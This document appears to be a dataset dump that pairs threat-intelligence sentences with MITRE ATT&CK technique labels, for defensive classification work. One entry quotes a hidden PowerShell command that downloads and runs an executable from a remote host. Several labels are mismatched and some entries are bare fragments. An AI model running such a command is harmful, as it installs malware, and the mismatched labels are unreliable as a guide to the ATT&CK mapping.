HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
Sandworm Team have used previously acquired legitimate credentials prior to attacks.
Technique: T1078: Valid Accounts
Metamorfo has searched the Program Files directories for specific folders and has searched for strings related to its mutexes.
Technique: T1083: File and Directory Discovery
TYPEFRAME can upload and download files to the victim’s machine.
Technique: T1105: Ingress Tool Transfer
Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.
Technique: T1556: Modify Authentication Process
Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.
Technique: T1112: Modify Registry
On Linux, local users can also be enumerated through the use of the /etc/passwd file.
Technique: T1087: Account Discovery
LightNeuron contains a function to encrypt and store emails that it collects.
Technique: T1560: Archive Collected Data
BlackTech has used spearphishing e-mails with malicious documents to deliver malware.
Technique: T1566: Phishing
SLOTHFULMEDIA has used HTTP and HTTPS for C2 communications.
Technique: T1071: Application Layer Protocol
UNC2452 used the Get-ManagementRoleAssignment PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell.
Technique: T1069: Permission Groups Discovery
Download & execute Startup (with persistence) Collection of system information (OS, version, installed location, etc.) Self-update Uninstall  This project was created by a user called zettabithf which is linked to a user with the same name in Hack Forums
Technique: T1082: System Information Discovery
Metamorfo has a command to launch a keylogger and capture keystrokes on the victim’s machine.
Technique: T1056: Input Capture
If Shamoon cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.
Technique: T1078: Valid Accounts
APT28 has deployed a bootkit along with Downdelph to ensure its persistence on the victim.
Technique: T1542: Pre-OS Boot
RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
Technique: T1036: Masquerading
Kasidet has the ability to obtain a victim's system name and operating system version.
Technique: T1082: System Information Discovery
Ramsay can conduct an initial scan for Microsoft Word documents on the local system, removable media, and connected network drives, before tagging and collecting them.
Technique: T1119: Automated Collection
BabyShark has the ability to decode downloaded files prior to execution.
Technique: T1140: Deobfuscate/Decode Files or Information
We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one
Technique: T1140: Deobfuscate/Decode Files or Information
VaporRage has the ability to check for the presence of a specific DLL and terminate if it is not found.
Technique: T1480: Execution Guardrails
Bandook was signed with valid Certum certificates.
Technique: T1553: Subvert Trust Controls
SHARPSTATS has the ability to identify the username on the compromised host.
Technique: T1033: System Owner/User Discovery
Within the framework, shims are created to act as a buffer between the program  and the Windows OS.
Technique: T1546: Event Triggered Execution
Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings
Technique: T1016: System Network Configuration Discovery
Kazuar uploads files from a specified directory to the C2 server.
Technique: T1005: Data from Local System
The networked device that made the ARP request will then use as well as store that information in its ARP cache.
Technique: T1557: Adversary-in-the-Middle
Adversaries may compromise access to third-party web services that can be used during targeting.
Technique: T1584: Compromise Infrastructure
Adversaries may create or edit shortcuts to run a program during system boot or user login.
Technique: T1547: Boot or Logon Autostart Execution
Dok persists via a plist login item.
Technique: T1547: Boot or Logon Autostart Execution
With authenticated access there are several tools that can be used to find permissions groups.
Technique: T1069: Permission Groups Discovery
More_eggs can remove itself from a system.
Technique: T1070: Indicator Removal on Host
Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.
Technique: T1573: Encrypted Channel
TA505 has used stolen domain admin accounts to compromise additional hosts.
Technique: T1078: Valid Accounts
Indrik Spider used wmic.exe to add a new user to the system.
Technique: T1136: Create Account
Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.
Technique: T1591: Gather Victim Org Information
HAFNIUM has stolen copies of the Active Directory database .
Technique: T1003: OS Credential Dumping
JPIN can obtain the permissions of the victim user.
Technique: T1069: Permission Groups Discovery
The unique strings mainly consist of “Mobile/BADDAD“, “Mobile/7B405” and “E9BC3BD76216AFA560BFB5ACAF5731A3”
Technique: T1140: Deobfuscate/Decode Files or Information
It uses the legitimate Naver email platform in order to communicate with the attackers via email
Technique: T1071: Application Layer Protocol
The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon.
Technique: T1558: Steal or Forge Kerberos Tickets
Several tools used by Suckfly have been command-line driven.
Technique: T1059: Command and Scripting Interpreter
SDBbot has the ability to identify the OS version, country code, and computer name.
Technique: T1082: System Information Discovery
Various implementations of CHOPSTICK communicate with C2 over SMTP and POP3.
Technique: T1071: Application Layer Protocol
Agent Tesla has the ability to extract credentials from configuration or support files.
Technique: T1552: Unsecured Credentials
Some strings in HOMEFRY are obfuscated with XOR x56.
Technique: T1027: Obfuscated Files or Information
Information about victims may also be exposed to adversaries via online or other accessible data sets  or Search Victim-Owned Websites.
Technique: T1589: Gather Victim Identity Information
SQLRat has created scheduled tasks in %appdata%\Roaming\Microsoft\Templates\.
Technique: T1053: Scheduled Task/Job
CopyKittens has used Metasploit and Empire for post-exploitation activities.
Technique: T1588: Obtain Capabilities
USBferry can execute rundll32.exe in memory to avoid detection.
Technique: T1218: Signed Binary Proxy Execution
OceanSalt can create a reverse shell on the infected endpoint using cmd.exe.
Technique: T1059: Command and Scripting Interpreter
The starred commands are undocumented commands
Technique: T1059: Command and Scripting Interpreter
Threat Group-3390 has used net user to conduct internal discovery of systems.
Technique: T1087: Account Discovery
Dridex has relied upon users clicking on a malicious attachment delivered through spearphishing.
Technique: T1204: User Execution
Gazer obtains the current user's security identifier.
Technique: T1033: System Owner/User Discovery
Operators deploying Netwalker have used psexec and certutil to retrieve the Netwalker payload.
Technique: T1105: Ingress Tool Transfer
GOLD SOUTHFIELD has executed base64 encoded PowerShell scripts on compromised hosts.
Technique: T1027: Obfuscated Files or Information
One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.
Technique: T1134: Access Token Manipulation
TeamTNT has used an IRC bot for C2 communications.
Technique: T1071: Application Layer Protocol
Cobalt Strike can steal access tokens from exiting processes.
Technique: T1134: Access Token Manipulation
InvisiMole can inject its code into a trusted process via the APC queue.
Technique: T1055: Process Injection
TRINITY malware used by FIN6 identifies payment card track data on the victim and then copies it to a local file in a subdirectory of C:\Windows\.
Technique: T1074: Data Staged
JavaScript  is a platform-independent scripting language  commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.
Technique: T1059: Command and Scripting Interpreter
Cobalt Strike can use known credentials to run commands and spawn processes as a local user account.
Technique: T1078: Valid Accounts
Stealth Falcon malware uses PowerShell commands to perform various functions, including gathering system information via WMI and executing commands from its C2 server.
Technique: T1059: Command and Scripting Interpreter
It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file
Technique: T1083: File and Directory Discovery
Adversaries may gather information about the victim's host firmware that can be used during targeting.
Technique: T1592: Gather Victim Host Information
APT41 deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.
Technique: T1542: Pre-OS Boot
Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code.
Technique: T1598: Phishing for Information
Get Directory Information The malware gets information for the provided directory address using the following WINAPI calls:
Technique: T1083: File and Directory Discovery
Cuba can enumerate files by using a variety of functions.
Technique: T1083: File and Directory Discovery
Denis performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext.
Technique: T1055: Process Injection
Figure 3 Password handover form displayed after credential theft The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150
Technique: T1003: OS Credential Dumping
TrickBot establishes persistence in the Startup folder.
Technique: T1547: Boot or Logon Autostart Execution
GuLoader can delete its executable from the AppData\Local\Temp directory on the compromised host.
Technique: T1070: Indicator Removal on Host
Ke3chang uses command-line interaction to search files and directories.
Technique: T1083: File and Directory Discovery
ICMP communication between hosts is one example.
Technique: T1095: Non-Application Layer Protocol
SMOKEDHAM has encoded its C2 traffic with Base64.
Technique: T1132: Data Encoding
MuddyWater has used Daniel Bohannon’s Invoke-Obfuscation framework and obfuscated PowerShell scripts.
Technique: T1027: Obfuscated Files or Information
RedLeaves can communicate to its C2 over HTTP and HTTPS if directed.
Technique: T1071: Application Layer Protocol
Higaisa has called various native OS APIs.
Technique: T1106: Native API
Cobalt Group has added persistence by registering the file name for the next stage malware under HKCU\Environment\UserInitMprLogonScript.
Technique: T1037: Boot or Logon Initialization Scripts
Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.
Technique: T1572: Protocol Tunneling
APT28 has used a variety of utilities, including WinRAR, to archive collected data with password protection.
Technique: T1560: Archive Collected Data
DCOM can also execute macros in existing documents and may also invoke Dynamic Data Exchange  execution directly through a COM created instance of a Microsoft Office application, bypassing the need for a malicious document.
Technique: T1021: Remote Services
1/12/14 3/5/14 127.0.0.1 N/A   3/5/14 3/31/14 103.24.0.142 Hong Kong   3/31/14 10/27/14 103.24.1.54 Hong Kong   10/27/14 11/9/14 127.0.0.1 N/A   11/9/14 5/25/15 127.0.0.3 N/A   5/25/15 Current as of this publication 127.0.0.1 N/A    Table 5
Technique: T1571: Non-Standard Port
Cobalt Group has executed JavaScript scriptlets on the victim's machine.
Technique: T1059: Command and Scripting Interpreter
Offset Description   0x0 Victim GUID (8C8CEED9-4326-448B-919E-249EEC0238A3)   0x25 Victim IP Address (192.168.180.154)   0x45 Command (0x66660001)   0x49 Length of payload (0x2f – 47)   0x4d Field 1 – Windows major version (0x6 – Windows Vista+)   0x51 Field 2 – Windows minor version (0x1 – Windows 7)   0x55 Field 3 – Unknown (0x20)   0x59 Payload (default flag:4/2/2018 1:01:33 AM)    Table 5 – Beacon structure for PLAINTEE
Technique: T1010: Application Window Discovery
Domain trusts allow the users of the trusted domain to access resources in the trusting domain.
Technique: T1482: Domain Trust Discovery
Siloscape also writes both an archive of Tor and the unzip binary to disk from data embedded within the payload using Visual Studio’s Resource Manager.
Technique: T1140: Deobfuscate/Decode Files or Information
menuPass stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.
Technique: T1074: Data Staged
APT29 added their own devices as allowed IDs for active sync using Set-CASMailbox, allowing it to obtain copies of victim mailboxes.
Technique: T1098: Account Manipulation
Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence:  Form1.Speed Form1.diomadnfagaghagh Form1.fjcsERIfjfiojsGHIsdifjksi Form1.gsgjIDJIGJIGJIGJIFDOSpl Form1.FJaioefgkaoeK  This chain of functions eventually loads a resource named ‘GSrdofjksrgj’, which the tool decrypts using the same algorithm and key as in the initial payload:byte[] array4 = new byte[] {     19,     129,     43,     37,     56,     65,     255,     75,     111,     19,     211,     120,     0,     49,     126,     248 };The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool
Technique: T1569: System Services
Python
Technique: T1059: Command and Scripting Interpreter
Scans may range from simple pings  to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.
Technique: T1595: Active Scanning
Aria-body has used an encrypted configuration file for its loader.
Technique: T1027: Obfuscated Files or Information
FlawedAmmyy will attempt to detect if a usable smart card is current inserted into a card reader.
Technique: T1120: Peripheral Device Discovery
APT29 has used valid accounts, including administrator accounts, to help facilitate lateral movement on compromised networks.
Technique: T1078: Valid Accounts
AppleJeus has decoded files received from a C2.
Technique: T1140: Deobfuscate/Decode Files or Information
QakBot can use net localgroup to enable discovery of local groups.
Technique: T1069: Permission Groups Discovery
Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service.
Technique: T1102: Web Service
Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
Technique: T1556: Modify Authentication Process
For Windows Vista or higher, the path would appear as C:\Users\Public.
Technique: T1036: Masquerading
Raindrop was built to include a modified version of 7-Zip source code  and Far Manager source code.
Technique: T1036: Masquerading
Operation Wocao has deleted Windows Event Logs to hinder forensic investigation.
Technique: T1070: Indicator Removal on Host
BLUELIGHT can uninstall itself.
Technique: T1070: Indicator Removal on Host
Figure 1 Article referenced by decoy document in attack against British government agency   The attached document leverages a DDE exploit to ultimately execute the following code:c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it
Technique: T1055: Process Injection
OSX_OCEANLOTUS.D has a variant that is packed with UPX.
Technique: T1027: Obfuscated Files or Information
NETWIRE can discover and close windows on controlled systems.
Technique: T1010: Application Window Discovery
SoreFang can decode and decrypt exfiltrated data sent to C2.
Technique: T1140: Deobfuscate/Decode Files or Information
These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment.
Technique: T1546: Event Triggered Execution
TeamTNT uses malware that adds cryptocurrency miners as a service.
Technique: T1543: Create or Modify System Process
ROKRAT has a audio capture and eavesdropping module.
Technique: T1123: Audio Capture
One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.
Technique: T1564: Hide Artifacts
This can allow an adversary access to other containerized resources from the host level or to the host itself.
Technique: T1611: Escape to Host
Root certificates are used in public key cryptography to identify a root certificate authority .
Technique: T1553: Subvert Trust Controls
MuddyWater can disable the system's local proxy settings.
Technique: T1562: Impair Defenses
Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system.
Technique: T1137: Office Application Startup
This means that “ ls” will not be saved, but “ls” would be saved by history.
Technique: T1562: Impair Defenses
Sibot executes commands using VBScript.
Technique: T1059: Command and Scripting Interpreter
APT29 obtained Ticket Granting Service  tickets for Active Directory Service Principle Names to crack offline.
Technique: T1558: Steal or Forge Kerberos Tickets
Windigo has also used multiple reverse proxy chains as part of their C2 infrastructure.
Technique: T1090: Proxy
With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.
Technique: T1187: Forced Authentication
HotCroissant can retrieve a list of applications from the SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths registry key.
Technique: T1518: Software Discovery
The group has used an exploit toolkit known as Threadkit that launches .bat files.
Technique: T1059: Command and Scripting Interpreter
Psylo exfiltrates data to its C2 server over the same protocol as C2 communications.
Technique: T1041: Exfiltration Over C2 Channel
AppleSeed can identify the IP of a targeted system.
Technique: T1016: System Network Configuration Discovery
An adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.
Technique: T1578: Modify Cloud Compute Infrastructure
BlackEnergy 2 contains a "Destroy" plug-in that destroys data stored on victim hard drives by overwriting file contents.
Technique: T1485: Data Destruction
GOLD SOUTHFIELD has used publicly-accessible RDP and remote management and monitoring  servers to gain access to victim machines.
Technique: T1133: External Remote Services
MoonWind uses batch scripts for various purposes, including to restart and uninstall itself.
Technique: T1059: Command and Scripting Interpreter
Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
Technique: T1092: Communication Through Removable Media
It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism
Technique: T1566: Phishing
TajMahal has the ability to identify the Internet Explorer  version on an infected host.
Technique: T1518: Software Discovery
Many services are set to run at boot, which can aid in achieving persistence , but adversaries can also abuse services for one-time or temporary execution.
Technique: T1569: System Services
Dridex has used the OutputDebugStringW function to avoid malware analysis as part of its anti-debugging technique.
Technique: T1106: Native API
Sakula uses HTTP for C2.
Technique: T1071: Application Layer Protocol
QakBot can use Regsvr32 to execute malicious DLLs.
Technique: T1218: Signed Binary Proxy Execution
PowerDuke achieves persistence by using various Registry Run keys.
Technique: T1547: Boot or Logon Autostart Execution
ThiefQuest hides a copy of itself in the user's ~/Library directory by using a . at the beginning of the file name followed by 9 random characters.
Technique: T1564: Hide Artifacts
APT3 has sent spearphishing emails containing malicious links.
Technique: T1566: Phishing
Cuba can use the function GetIpNetTable to recover the last connections to the victim's machine.
Technique: T1049: System Network Connections Discovery
OLE object 
Technique: T1559: Inter-Process Communication
Prikormka uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.
Technique: T1574: Hijack Execution Flow
LANS Deletes the file created by the LAN command to reverse the effect
Technique: T1070: Indicator Removal on Host
BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2.
Technique: T1104: Multi-Stage Channels
Bazar can enumerate remote systems using  Net View.
Technique: T1018: Remote System Discovery
Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O.
Technique: T1059: Command and Scripting Interpreter
Timers installed using privileged paths may be used to maintain root level persistence.
Technique: T1053: Scheduled Task/Job
REvil has been distributed via malicious e-mail attachments including MS Word Documents.
Technique: T1566: Phishing
Wizard Spider has installed TrickBot as a service named ControlServiceA in order to establish persistence.
Technique: T1543: Create or Modify System Process
Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.
Technique: T1589: Gather Victim Identity Information
A version of XTunnel introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.
Technique: T1027: Obfuscated Files or Information
Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals.
Technique: T1029: Scheduled Transfer
jRAT payloads have been packed.
Technique: T1027: Obfuscated Files or Information
Kimsuky has used a modified TeamViewer client as a command and control channel.
Technique: T1219: Remote Access Software
This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
Technique: T1187: Forced Authentication
Net Crawler uses credential dumpers such as Mimikatz and Windows Credential Editor to extract cached credentials from Windows systems.
Technique: T1003: OS Credential Dumping
China Chopper's server component can upload local files.
Technique: T1005: Data from Local System
The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread .
Technique: T1055: Process Injection
messengers.
Technique: T1001: Data Obfuscation
Wizard Spider has used macros to execute PowerShell scripts to download malware on victim's machines.
Technique: T1059: Command and Scripting Interpreter
CDNs allow an organization to host content from a distributed, load balanced array of servers.
Technique: T1596: Search Open Technical Databases
RainyDay can use the QuarksPwDump tool to obtain local passwords and domain cached credentials.
Technique: T1555: Credentials from Password Stores
PE injection is commonly performed by copying code  into the virtual address space of the target process before invoking it via a new thread.
Technique: T1055: Process Injection
APT29 used sticky-keys to obtain unauthenticated, privileged console access.
Technique: T1546: Event Triggered Execution
Bisonal can retrieve a file list of a specified folder.
Technique: T1083: File and Directory Discovery
InnaputRAT uses the API call ShellExecuteW for execution.
Technique: T1106: Native API
After decrypting the strings, they must be further decompressed using LZNT1
Technique: T1140: Deobfuscate/Decode Files or Information
Tropic Trooper has monitored files' modified time.
Technique: T1083: File and Directory Discovery
RogueRobin created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently.
Technique: T1550: Use Alternate Authentication Material
Cryptoistic has the ability delete files from a compromised host.
Technique: T1070: Indicator Removal on Host
If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for Pass the Ticket.
Technique: T1558: Steal or Forge Kerberos Tickets
Adversaries may abuse SQL stored procedures to establish persistent access to systems.
Technique: T1505: Server Software Component
Ixeshe can list file and directory information.
Technique: T1083: File and Directory Discovery
gh0st RAT has used Zlib to compress C2 communications data before encrypting it.
Technique: T1132: Data Encoding
The victim will then see a prompt to Enable Content as with any malicious macro document as seen in Figure 5
Technique: T1204: User Execution
Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.
Technique: T1596: Search Open Technical Databases
Evilnum has deleted files used during infection.
Technique: T1070: Indicator Removal on Host
BitPaymer can use the RegEnumKeyW to iterate through Registry keys.
Technique: T1012: Query Registry
GOLD SOUTHFIELD has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.
Technique: T1113: Screen Capture
MMC can also be used to open Microsoft created .msc files to manage system configuration.
Technique: T1218: Signed Binary Proxy Execution
These token can then be applied to an existing process  Token Impersonation/Theft or used to spawn a new process  Create Process with Token.
Technique: T1134: Access Token Manipulation
menuPass has compressed files before exfiltration using TAR and RAR.
Technique: T1560: Archive Collected Data
Valak has been delivered via malicious links in e-mail.
Technique: T1566: Phishing
InvisiMole can function as a proxy to create a server that relays communication between the client and C&C server, or between two clients.
Technique: T1090: Proxy
Bad Rabbit used the EternalRomance SMB exploit to spread through victim networks.
Technique: T1210: Exploitation of Remote Services
FALLCHILL encrypts C2 data with RC4 encryption.
Technique: T1573: Encrypted Channel
Helminth creates folders to store output from batch scripts prior to sending the information to its C2 server.
Technique: T1074: Data Staged
Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries.
Technique: T1027: Obfuscated Files or Information
Revenge RAT schedules tasks to run malicious scripts at different intervals.
Technique: T1053: Scheduled Task/Job
Typically, management services over commonly used ports are used when guessing passwords.
Technique: T1110: Brute Force
Carbanak exfiltrates data in compressed chunks if a message is larger than 4096 bytes .
Technique: T1030: Data Transfer Size Limits
Sys10 collects the computer name, OS versioning information, and OS install date and sends the information to the C2.
Technique: T1082: System Information Discovery
An adversary may attempt to discover resources that are available within an infrastructure-as-a-service  environment.
Technique: T1580: Cloud Infrastructure Discovery
The weakness in the system can be a bug, a glitch, or a design vulnerability.
Technique: T1190: Exploit Public-Facing Application
njRAT has a module for performing remote desktop access.
Technique: T1021: Remote Services
Leviathan has targeted RDP credentials and used it to move through the victim environment.
Technique: T1021: Remote Services
Naikon has modified a victim's Windows Run registry to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.
Technique: T1218: Signed Binary Proxy Execution
An adversary may do this when they have a specific, existing process they want to assign the new token to.
Technique: T1134: Access Token Manipulation
Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Technique: T1203: Exploitation for Client Execution
To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip
Technique: T1560: Archive Collected Data
Remote Shell:  The function above is seen throughout many of the binaries in the Mirage family and is executed when a command is sent from the C&C
Technique: T1059: Command and Scripting Interpreter
RunningRAT contains code to compress files.
Technique: T1560: Archive Collected Data
Babuk can use ChaCha8 and ECDH to encrypt data.
Technique: T1486: Data Encrypted for Impact
WastedLocker has a command to take ownership of a file and reset the ACL permissions using the takeown.exe /F filepath command.
Technique: T1222: File and Directory Permissions Modification
The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.
Technique: T1087: Account Discovery
Adversaries may setup email forwarding rules to collect sensitive information.
Technique: T1114: Email Collection
It also creates a folder at C:\Users\<Username>\AppData\Roaming\Microsoft\store to store screenshot JPEG files.
Technique: T1074: Data Staged
POWERSOURCE has been observed being used to download TEXTMATE and the Cobalt Strike Beacon payload onto victims.
Technique: T1105: Ingress Tool Transfer
Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system.
Technique: T1072: Software Deployment Tools
CHOPSTICK is capable of performing remote command execution.
Technique: T1059: Command and Scripting Interpreter
net group 
Technique: T1069: Permission Groups Discovery
In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com
Technique: T1102: Web Service
APT28 has used the WindowStyle parameter to conceal PowerShell windows.
Technique: T1564: Hide Artifacts
NETEAGLE is capable of reading files over the C2 channel.
Technique: T1041: Exfiltration Over C2 Channel
Exaramel for Linux can execute commands with high privileges via a specific binary with setuid functionality.
Technique: T1548: Abuse Elevation Control Mechanism
Gorgon Group malware can leverage the Windows API call, CreateProcessA, for execution.
Technique: T1106: Native API
WINDSHIELD C2 traffic can communicate via TCP raw sockets.
Technique: T1095: Non-Application Layer Protocol
More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication  mechanisms as a communication channel.
Technique: T1055: Process Injection
SMOKEDHAM can continuously capture keystrokes.
Technique: T1056: Input Capture
HTTPBrowser is capable of spawning a reverse shell on a victim.
Technique: T1059: Command and Scripting Interpreter
Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering.
Technique: T1600: Weaken Encryption
Dragonfly identified and browsed file servers on the victim network, viewing files pertaining to ICS or Supervisory Control and Data Acquisition  systems.
Technique: T1135: Network Share Discovery
More_eggs has the capability to gather the username from the victim's machine.
Technique: T1033: System Owner/User Discovery
Adversaries can create accounts that can be used to build a persona to further operations.
Technique: T1585: Establish Accounts
Higaisa has sent spearphishing emails containing malicious attachments.
Technique: T1566: Phishing
Honeybee uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.
Technique: T1547: Boot or Logon Autostart Execution
Kobalos can modify timestamps of replaced files, such as ssh with the added credential stealer or sshd used to deploy Kobalos.
Technique: T1070: Indicator Removal on Host
Adversaries may abuse container files such as compressed/archive  and/or disk image  file formats to deliver malicious payloads that may not be tagged with MOTW.
Technique: T1553: Subvert Trust Controls
Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Technique: T1564: Hide Artifacts
APT18 establishes persistence via the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key.
Technique: T1547: Boot or Logon Autostart Execution
LightNeuron collects Exchange emails matching rules specified in its configuration.
Technique: T1114: Email Collection
OAuth is one commonly implemented framework that issues tokens to users for access to systems.
Technique: T1550: Use Alternate Authentication Material
HiddenWasp installs reboot persistence by adding itself to /etc/rc.local.
Technique: T1037: Boot or Logon Initialization Scripts
Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext .
Technique: T1600: Weaken Encryption
Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.
Technique: T1185: Browser Session Hijacking
Wingbird checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.
Technique: T1082: System Information Discovery
MiniDuke uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.
Technique: T1008: Fallback Channels
Crimson can identify the user on a targeted system.
Technique: T1033: System Owner/User Discovery
One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it.
Technique: T1499: Endpoint Denial of Service
USBStealer automatically exfiltrates collected files via removable media when an infected device is connected to the second victim after receiving commands from the first victim.
Technique: T1020: Automated Exfiltration
UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe
Technique: T1059: Command and Scripting Interpreter
Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.
Technique: T1480: Execution Guardrails
IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters.
Technique: T1505: Server Software Component
Bandook can collect local files from the system .
Technique: T1005: Data from Local System
DownPaper collects the victim host name and serial number, and then sends the information to the C2 server.
Technique: T1082: System Information Discovery
When a file is opened, the default program used to open the file  is checked.
Technique: T1546: Event Triggered Execution
Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value.
Technique: T1205: Traffic Signaling
APT39 has used HTTP in communications with C2.
Technique: T1071: Application Layer Protocol
BackdoorDiplomacy has copied files of interest to the main drive's recycle bin.
Technique: T1074: Data Staged
Metamorfo has collected the username from the victim's machine.
Technique: T1033: System Owner/User Discovery
NotPetya can use PsExec to help propagate itself across a network.
Technique: T1569: System Services
It loads the module with parameter vShow set to zero, which opens the application with a hidden window.  Alternatively, if Avast is not installed on the machine, the malicious module loads using regsvr32.exe
Technique: T1218: Signed Binary Proxy Execution
LockerGoga installation has been immediately preceded by a "task kill" command in order to disable anti-virus.
Technique: T1562: Impair Defenses
APT1 used the ipconfig /all command to gather network configuration information.
Technique: T1016: System Network Configuration Discovery
Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system.
Technique: T1203: Exploitation for Client Execution
Dtrack used hard-coded credentials to gain access to a network share.
Technique: T1078: Valid Accounts
Adversaries can also take advantage of routing schemes in Content Delivery Networks  to proxy command and control traffic.
Technique: T1090: Proxy
Winnti Group used a rootkit to modify typical server functionality.
Technique: T1014: Rootkit
GoldenSpy can create new users on an infected system.
Technique: T1136: Create Account
Inception has encrypted network communications with AES.
Technique: T1573: Encrypted Channel
Dragonfly used remote access services, including VPN and Outlook Web Access .
Technique: T1133: External Remote Services
Bankshot uses the command-line interface to execute arbitrary commands.
Technique: T1059: Command and Scripting Interpreter
QUADAGENT encodes C2 communications with base64.
Technique: T1132: Data Encoding
XAgentOSX contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.
Technique: T1056: Input Capture
Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4
Technique: T1071: Application Layer Protocol
LookBack uses a custom binary protocol over sockets for C2 communications.
Technique: T1095: Non-Application Layer Protocol
InvisiMole can scan the network for open ports and vulnerable instances of RDP and SMB protocols.
Technique: T1046: Network Service Scanning
All login shells on a system use /etc/profile when initiated.
Technique: T1546: Event Triggered Execution
